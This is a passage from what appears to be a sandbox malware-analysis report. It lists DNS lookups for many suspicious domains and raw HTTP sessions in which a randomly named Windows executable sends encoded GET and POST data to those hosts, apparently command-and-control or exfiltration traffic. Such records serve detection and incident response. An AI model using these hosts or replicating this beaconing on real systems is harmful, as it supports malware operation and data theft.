Oct 24, 2024 15:17:33.734946966 CEST	1.1.1.1	192.168.2.5	0x7597	No error (0)	b1-3-r11-nff52.alicloudddos.top	b1-3-r111-s65psj.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:17:33.734946966 CEST	1.1.1.1	192.168.2.5	0x7597	No error (0)	b1-3-r111-s65psj.alicloudddos.top	b1-3-r111-55g56.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:17:33.734946966 CEST	1.1.1.1	192.168.2.5	0x7597	No error (0)	b1-3-r111-55g56.kunlundns.top	b1-3-r111.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:17:33.734946966 CEST	1.1.1.1	192.168.2.5	0x7597	No error (0)	b1-3-r111.kunlundns.top		129.226.56.200	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:17:49.976183891 CEST	1.1.1.1	192.168.2.5	0xfc23	No error (0)	www.nieuws-july202491.sbs	nieuws-july202491.sbs		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:17:49.976183891 CEST	1.1.1.1	192.168.2.5	0xfc23	No error (0)	nieuws-july202491.sbs		162.0.215.33	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:03.355448008 CEST	1.1.1.1	192.168.2.5	0xac32	No error (0)	www.putizhong.homes		154.7.176.67	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:16.896651983 CEST	1.1.1.1	192.168.2.5	0xcd5a	No error (0)	www.coba168.info	coba168.info		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:18:16.896651983 CEST	1.1.1.1	192.168.2.5	0xcd5a	No error (0)	coba168.info		118.139.178.37	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:31.481498003 CEST	1.1.1.1	192.168.2.5	0xb1d3	No error (0)	www.everyone.golf	everyone.golf		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:18:31.481498003 CEST	1.1.1.1	192.168.2.5	0xb1d3	No error (0)	everyone.golf		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:31.481498003 CEST	1.1.1.1	192.168.2.5	0xb1d3	No error (0)	everyone.golf		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:44.810873032 CEST	1.1.1.1	192.168.2.5	0xf02a	No error (0)	www.royapop.online		209.74.64.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:18:58.278000116 CEST	1.1.1.1	192.168.2.5	0x465c	Name error (3)	www.jy58gdwf7t.skin	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:19:06.556608915 CEST	1.1.1.1	192.168.2.5	0x41ce	No error (0)	www.b-ambu.com	b-ambu.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:19:06.556608915 CEST	1.1.1.1	192.168.2.5	0x41ce	No error (0)	b-ambu.com		84.32.84.32	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:19:20.198770046 CEST	1.1.1.1	192.168.2.5	0x9280	No error (0)	www.livpure-grab.online	livpure-grab.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:19:20.198770046 CEST	1.1.1.1	192.168.2.5	0x9280	No error (0)	livpure-grab.online		84.32.84.32	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:19:34.010365963 CEST	1.1.1.1	192.168.2.5	0xdc27	No error (0)	www.bandukchi.com	bandukchi.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:19:34.010365963 CEST	1.1.1.1	192.168.2.5	0xdc27	No error (0)	bandukchi.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:19:34.010365963 CEST	1.1.1.1	192.168.2.5	0xdc27	No error (0)	bandukchi.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:19:48.978600979 CEST	1.1.1.1	192.168.2.5	0x286	No error (0)	www.mcse.top		154.9.228.56	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:03.338252068 CEST	1.1.1.1	192.168.2.5	0xcc55	No error (0)	www.voidzero.tech	voidzero.tech		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:20:03.338252068 CEST	1.1.1.1	192.168.2.5	0xcc55	No error (0)	voidzero.tech		84.32.84.32	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:17.039882898 CEST	1.1.1.1	192.168.2.5	0x7ba9	No error (0)	www.huwin.club	huwin.club		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:20:17.039882898 CEST	1.1.1.1	192.168.2.5	0x7ba9	No error (0)	huwin.club		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:17.039882898 CEST	1.1.1.1	192.168.2.5	0x7ba9	No error (0)	huwin.club		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:30.629791021 CEST	1.1.1.1	192.168.2.5	0x3339	No error (0)	www.xueerr.xyz		129.226.176.90	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:44.466593981 CEST	1.1.1.1	192.168.2.5	0x25cf	No error (0)	www.onlineblikje.online		213.249.67.10	A (IP address)	IN (0x0001)	false
Oct 24, 2024 15:20:58.128691912 CEST	1.1.1.1	192.168.2.5	0x698a	No error (0)	www.rtpsilva4d.click	rtpsilva4d.click		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 15:20:58.128691912 CEST	1.1.1.1	192.168.2.5	0x698a	No error (0)	rtpsilva4d.click		67.223.117.169	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dxfwrc2h.sbs

www.nieuws-july202491.sbs

www.putizhong.homes

www.coba168.info

www.everyone.golf

www.royapop.online

www.b-ambu.com

www.livpure-grab.online

www.bandukchi.com

www.mcse.top

www.voidzero.tech

www.huwin.club

www.xueerr.xyz

www.onlineblikje.online

www.rtpsilva4d.click

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49787	129.226.56.200	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:17:33.753350019 CEST	482	OUT	GET /28kl/?7Bohe=ZkKAB6qSK6F5HsjBEzwiMizWOSJwTbSi5er0Koahj7mpnIIYqRoLKzbDk71u2k+MO6tmUyIoyOO9F/o0RCIBFZEb81/8BfbGrnNiAiZNS4xvfhhZvRECGHuLoGBIxYjXhw==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.dxfwrc2h.sbs Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:17:34.701767921 CEST	306	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Thu, 24 Oct 2024 13:17:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49866	162.0.215.33	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:17:49.999325991 CEST	767	OUT	POST /4bpc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.nieuws-july202491.sbs Origin: http://www.nieuws-july202491.sbs Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.nieuws-july202491.sbs/4bpc/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 62 34 30 56 31 37 68 34 48 72 58 79 79 39 6d 78 6a 43 53 35 45 34 4f 66 70 47 75 57 68 57 67 48 45 4b 2f 32 4a 6e 43 58 39 39 4f 36 30 4b 2f 57 35 49 43 57 46 4f 6f 4f 44 6a 68 66 62 58 35 59 62 76 4c 4a 4c 4b 44 6e 32 7a 75 4f 46 54 71 5a 69 69 32 51 61 6d 43 65 38 37 79 50 54 68 76 39 4b 79 6b 6a 78 74 45 69 34 2b 78 46 31 66 64 5a 5a 4e 31 68 78 76 55 61 79 46 50 55 70 69 6e 76 44 2f 59 73 74 45 74 4d 4c 77 58 46 75 4b 64 63 4e 54 54 67 4f 71 4e 68 76 47 74 52 6d 6a 62 73 69 62 31 31 73 4e 57 35 58 57 75 5a 77 72 32 49 39 61 61 48 69 66 58 73 30 51 77 55 57 74 36 55 64 39 6a 39 61 4d 63 3d Data Ascii: 7Bohe=b40V17h4HrXyy9mxjCS5E4OfpGuWhWgHEK/2JnCX99O60K/W5ICWFOoODjhfbX5YbvLJLKDn2zuOFTqZii2QamCe87yPThv9KykjxtEi4+xF1fdZZN1hxvUayFPUpinvD/YstEtMLwXFuKdcNTTgOqNhvGtRmjbsib11sNW5XWuZwr2I9aaHifXs0QwUWt6Ud9j9aMc=
Oct 24, 2024 15:17:50.661396980 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Thu, 24 Oct 2024 13:17:50 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 52 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 1352ZJvLRMUhqCV's=pB<w?qKvm( o=\|3q+{XV)w]vtOv,"fv?B0GV]nyyG=56jZ:UMh/0K'wRUX7!rV&Y:s^o/^VL?{f]m7n/L-B/?.+0@{?{T`+1J`YiG~LgK{?uMSap;kWa~g[<6.83Fnwzf>v=%ZqM\[My}zze/meeVu7/y6AVYfN"{fWiKK=0}+nf <\|#5uWi~?ulriocWRrd~"+7)o\|Gp++S'@[YUeM^_WXBGWxGV^5^Y}q+\|g\|qW&0zDP7q#C6=-L/1euI+=SwU`^Wo-/z#.6F-H~%Y}i,O9 A%?ZYIZufsoD G8~OI{tmH75>Z#P:{}>Lnn!AOl^:?Ww'
Oct 24, 2024 15:17:50.661420107 CEST	1236	IN	Data Raw: 4a e0 6f 66 78 e3 e7 6f 89 eb 84 e6 e0 4f 09 08 a4 2f 86 19 8f c8 bc fb f3 cd 36 b7 a8 bd 19 ee 95 97 67 e5 25 43 3d 0c 0a 37 06 b1 ae b9 71 c0 7e 4e 1f b1 80 ff b4 0f 83 20 74 1c 37 7d 63 a9 1f ed db 55 7e ba 20 fb d9 af df cf 7b 63 bf 5f 71 cb Data Ascii: JofxoO/6g%C=7q~N t7}cU~ {c_qY+~7/CQOEK{?zvGY?U)g:$?d4^}oa'CFXx!g9iY\W8a~+z`U$
Oct 24, 2024 15:17:50.661431074 CEST	1236	IN	Data Raw: b8 2c 71 6a 01 8b 46 1b 2e 3b 4d f0 5d 7e 6e 27 96 24 52 b6 2d 68 ac d3 e9 ae 61 a6 93 5c 9d 49 8c ce 89 93 ae 45 ed 60 16 32 74 96 44 67 bc 23 f0 18 4a eb ed 34 d9 06 91 5a 22 e6 c8 18 1b c2 c6 1d 8f b1 04 ad f6 b1 ce f0 c1 5c a4 a2 51 5a 2f 78 Data Ascii: ,qjF.;M]~n'$R-ha\IE`2tDg#J4Z"\QZ/x:7+Ne4]f&cK}6<;U?Zse,}\]lZ\|t: G;n8cni5HOp,s)jf(6rfZ&;pFM=:rRy%;iJ^nCeST jF
Oct 24, 2024 15:17:50.661442041 CEST	1236	IN	Data Raw: 0d 01 9c 5a 61 9a f6 7c 5c c6 f5 ba 09 38 66 c3 60 26 21 9e 3a 98 d0 bb 45 d1 91 7e 76 b2 b7 88 ce fb 4b e2 84 2d 70 01 d2 e3 e1 4e 84 89 26 b3 47 c5 3e a2 71 26 6f f0 f4 e0 ad e0 34 d0 c6 24 0a 42 b3 3c aa 88 a5 bb ed d4 ae 8e 52 bf 9e a1 2b 92 Data Ascii: Za\|\8f`&!:E~vK-pN&G>q&o4$B<R+5ZX%&;ZbKfi~vcgY#[Lwl"'y<6B.<lz8,~D24wh*-s38&+/vBy@NL6)i\#[:-nI\
Oct 24, 2024 15:17:50.661453962 CEST	294	IN	Data Raw: 47 04 ef 63 9e 9d ee ed ca f9 6e 00 ff 84 fc 95 50 d7 97 cc 9f c8 72 cd fe a7 d0 fd 0c 56 7f 7a c1 d5 9f 3f d5 c6 45 e0 f7 b6 bc de f1 79 f8 8f 34 06 d4 f9 4e 09 cf aa ba fb f6 08 7f b6 ea 11 fe c8 3c 37 80 fa 80 af ab 18 f1 ca e2 e3 73 6d ef bd Data Ascii: GcnPrVz?Ey4N<7sm]?z{ZWeV}N@gIP;$7AKPaW`w$wL\|*_bj`2ZweCfovM3pK}AhpM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49877	162.0.215.33	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:17:52.541713953 CEST	787	OUT	POST /4bpc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.nieuws-july202491.sbs Origin: http://www.nieuws-july202491.sbs Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.nieuws-july202491.sbs/4bpc/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 62 34 30 56 31 37 68 34 48 72 58 79 7a 64 32 78 67 6a 53 35 55 6f 4f 59 30 32 75 57 34 6d 68 4f 45 4b 7a 32 4a 6e 71 48 38 50 71 36 30 76 44 57 2b 4c 61 57 47 4f 6f 4f 4c 44 67 58 52 33 35 44 62 76 48 6e 4c 4b 2f 6e 32 79 4f 4f 46 53 61 5a 6a 52 75 54 61 32 43 63 31 62 79 4e 5a 42 76 39 4b 79 6b 6a 78 74 34 45 34 36 56 46 31 75 74 5a 59 73 31 69 76 2f 55 56 78 46 50 55 69 43 6e 72 44 2f 59 4f 74 46 68 6d 4c 32 62 46 75 4b 74 63 4b 43 54 6a 48 71 4d 4c 79 57 73 53 74 53 79 4f 34 61 5a 6c 74 50 66 4b 4c 41 32 74 78 64 62 69 6e 34 53 76 78 2f 37 55 6b 44 34 6a 48 64 62 39 48 65 7a 4e 45 62 4c 78 39 78 45 48 4b 67 41 6d 4c 49 42 2f 73 47 4b 73 67 66 4c 4d Data Ascii: 7Bohe=b40V17h4HrXyzd2xgjS5UoOY02uW4mhOEKz2JnqH8Pq60vDW+LaWGOoOLDgXR35DbvHnLK/n2yOOFSaZjRuTa2Cc1byNZBv9Kykjxt4E46VF1utZYs1iv/UVxFPUiCnrD/YOtFhmL2bFuKtcKCTjHqMLyWsStSyO4aZltPfKLA2txdbin4Svx/7UkD4jHdb9HezNEbLx9xEHKgAmLIB/sGKsgfLM
Oct 24, 2024 15:17:53.204755068 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Thu, 24 Oct 2024 13:17:53 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 43 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 52 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 135CZJvLRMUhqCV's=pB<w?qKvm( o=\|3q+{XV)w]vtOv,"fv?B0GV]nyyG=56jZ:UMh/0K'wRUX7!rV&Y:s^o/^VL?{f]m7n/L-B/?.+0@{?{T`+1J`YiG~LgK{?uMSap;kWa~g[<6.83Fnwzf>v=%ZqM\[My}zze/meeVu7/y6AVYfN"{fWiKK=0}+nf <\|#5uWi~?ulriocWRrd~"+7)o\|Gp++S'@[YUeM^_WXBGWxGV^5^Y}q+\|g\|qW&0zDP7q#C6=-L/1euI+=SwU`^Wo-/z#.6F-H~%Y}i,O9 A%?ZYIZufsoD G8~OI{tmH75>Z#P:{}>Lnn!AOl^:?Ww'
Oct 24, 2024 15:17:53.204783916 CEST	1236	IN	Data Raw: 4a e0 6f 66 78 e3 e7 6f 89 eb 84 e6 e0 4f 09 08 a4 2f 86 19 8f c8 bc fb f3 cd 36 b7 a8 bd 19 ee 95 97 67 e5 25 43 3d 0c 0a 37 06 b1 ae b9 71 c0 7e 4e 1f b1 80 ff b4 0f 83 20 74 1c 37 7d 63 a9 1f ed db 55 7e ba 20 fb d9 af df cf 7b 63 bf 5f 71 cb Data Ascii: JofxoO/6g%C=7q~N t7}cU~ {c_qY+~7/CQOEK{?zvGY?U)g:$?d4^}oa'CFXx!g9iY\W8a~+z`U$
Oct 24, 2024 15:17:53.204799891 CEST	424	IN	Data Raw: b8 2c 71 6a 01 8b 46 1b 2e 3b 4d f0 5d 7e 6e 27 96 24 52 b6 2d 68 ac d3 e9 ae 61 a6 93 5c 9d 49 8c ce 89 93 ae 45 ed 60 16 32 74 96 44 67 bc 23 f0 18 4a eb ed 34 d9 06 91 5a 22 e6 c8 18 1b c2 c6 1d 8f b1 04 ad f6 b1 ce f0 c1 5c a4 a2 51 5a 2f 78 Data Ascii: ,qjF.;M]~n'$R-ha\IE`2tDg#J4Z"\QZ/x:7+Ne4]f&cK}6<;U?Zse,}\]lZ\|t: G;n8cni5HOp,s)jf(6rfZ&;pFM=:rRy%;iJ^nCeST jF
Oct 24, 2024 15:17:53.204813004 CEST	1236	IN	Data Raw: ea e7 98 5d 4a a7 90 da 43 8b 1d c8 36 ab 61 78 2c 44 42 4d 6b 39 f6 c8 6c c3 5b 73 92 1e 0e 47 aa 3a 47 16 72 b1 3e 60 55 b8 f5 ec 49 1a 20 81 22 e6 06 bf 99 1e 12 86 76 31 8b 1a ea 78 2b 75 61 16 f2 85 96 60 69 1d 38 a4 aa b1 34 29 b6 6b 8d de Data Ascii: ]JC6ax,DBMk9l[sG:Gr>`UI "v1x+ua`i84)kBV*'Ig9v.&$5Ql1rMRNs^-Tu+^9lZ9]e9:h+q8& Brh%v>qaa;u
Oct 24, 2024 15:17:53.204828978 CEST	1101	IN	Data Raw: ad bb 22 c9 dd 78 37 0a 76 1a c7 69 67 a7 15 f6 f0 90 c3 82 c3 01 14 fd 70 c9 1a 9e 50 59 94 8f 90 e5 ee 41 c2 74 48 62 34 1c b7 8a e1 c9 64 be 67 6c c4 87 66 f3 70 6e 84 72 41 15 44 83 ee 8b c6 b1 2a f3 9c a3 a3 f5 8a 5d 7a fb 3c 97 c2 29 37 0a Data Ascii: "x7vigpPYAtHb4dglfpnrAD*]z<)77&=d&-Q;k8C,v)uEMUz?Sjl?ea0@s^)TY^?gtm(@a1D6#6u@7Vk{i<vTIdlbk$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49893	162.0.215.33	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:17:55.094186068 CEST	1804	OUT	POST /4bpc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.nieuws-july202491.sbs Origin: http://www.nieuws-july202491.sbs Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.nieuws-july202491.sbs/4bpc/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 62 34 30 56 31 37 68 34 48 72 58 79 7a 64 32 78 67 6a 53 35 55 6f 4f 59 30 32 75 57 34 6d 68 4f 45 4b 7a 32 4a 6e 71 48 38 50 69 36 30 39 37 57 2b 71 61 57 48 4f 6f 4f 49 44 67 57 52 33 34 62 62 73 33 6a 4c 4b 7a 33 32 32 2b 4f 46 77 53 5a 6b 67 75 54 51 32 43 63 71 4c 79 4d 54 68 75 6e 4b 30 45 6e 78 73 45 45 34 36 56 46 31 74 46 5a 49 4e 31 69 74 2f 55 61 79 46 4f 47 70 69 6e 50 44 2f 41 30 74 46 6c 63 4c 6d 37 46 75 75 4a 63 4c 30 76 6a 49 71 4e 74 68 6d 73 77 74 53 75 34 34 61 46 70 74 4f 62 67 4c 48 61 74 7a 4a 71 45 32 4d 54 30 6e 35 6a 46 32 45 6b 37 48 49 62 39 4b 50 58 57 4e 4a 33 75 68 79 59 38 49 51 41 47 4e 34 42 37 7a 33 50 38 68 5a 33 46 35 31 5a 4b 4d 34 4a 47 66 59 48 2f 6f 79 4c 48 54 31 32 39 35 50 2b 57 32 64 6a 32 58 5a 54 45 43 6a 7a 48 6a 79 55 6a 54 33 70 54 57 44 77 46 68 77 6b 39 64 5a 62 36 72 33 68 41 55 42 53 55 37 4c 6c 70 44 41 56 76 41 62 71 4f 30 6f 6e 37 54 74 58 75 62 79 33 49 55 51 78 6d 51 6e 75 49 39 6d 77 75 48 55 75 4d 4b 30 71 2b 78 71 51 44 [TRUNCATED] Data Ascii: 7Bohe=b40V17h4HrXyzd2xgjS5UoOY02uW4mhOEKz2JnqH8Pi6097W+qaWHOoOIDgWR34bbs3jLKz322+OFwSZkguTQ2CcqLyMThunK0EnxsEE46VF1tFZIN1it/UayFOGpinPD/A0tFlcLm7FuuJcL0vjIqNthmswtSu44aFptObgLHatzJqE2MT0n5jF2Ek7HIb9KPXWNJ3uhyY8IQAGN4B7z3P8hZ3F51ZKM4JGfYH/oyLHT1295P+W2dj2XZTECjzHjyUjT3pTWDwFhwk9dZb6r3hAUBSU7LlpDAVvAbqO0on7TtXuby3IUQxmQnuI9mwuHUuMK0q+xqQDU0bw9WF8qv2eUO1MZb98zxuySq16Y855wn+PGmqFXamEGgQNGKpG3si/VUwQBAcJiRAVdxa6z++E8ePi6BKSxwZIUWDdEqHNy1y99tJiwgrDOxN8nqnUEBxv1zLi59KXkTsxHsFl5NPO/n0MuIAhHSSbYSxZSVxFcW9cydJ5EKKKzZRvMH7PBJeSzSiFTwpQOb0Y3Fk/OmaMLtW25vjR4DWHhsdGgyTUje/iD3VydqeEqPzpKFml6iO11c0zxw/uhw8Lotcgihe7o438IoHQSWEV9vvVKeeX1Sn/+Qnt7oyOuOTPfRPbU02v9/90O18prZLwrdQBzoj2VjQqVQJWWxh3y9Xg/Cq2sV08tHAqrYmPrbV/AjbCH+GtC2tEh5RTESbmUk5vIaZcEg76FJwW/bygCnubhnMsjtV5isIkVNesmIsGWudCTuI6hJqvsd5qHITnxTt2TyqHKxURv0E42Blx9SJxPCyUq6pPOMgO6Hd70b4juMo5lMw3km/zRbN4mqynMW3I+rpYp9qQIfPq02vyd8MOG1jc5dm+888P49rBi/D4yxKCdXN4IkZmsJtmmump1OVXZrO2QhP/eBQqUvsyVUk3hJYrigkuhdpqsVIzk4Iv/qqNZRhuJOQyzdi/YsLYMPhhCHM2Vke2LOm0WpMA4xLtnkkDDq [TRUNCATED]
Oct 24, 2024 15:17:55.799773932 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Thu, 24 Oct 2024 13:17:55 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 52 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 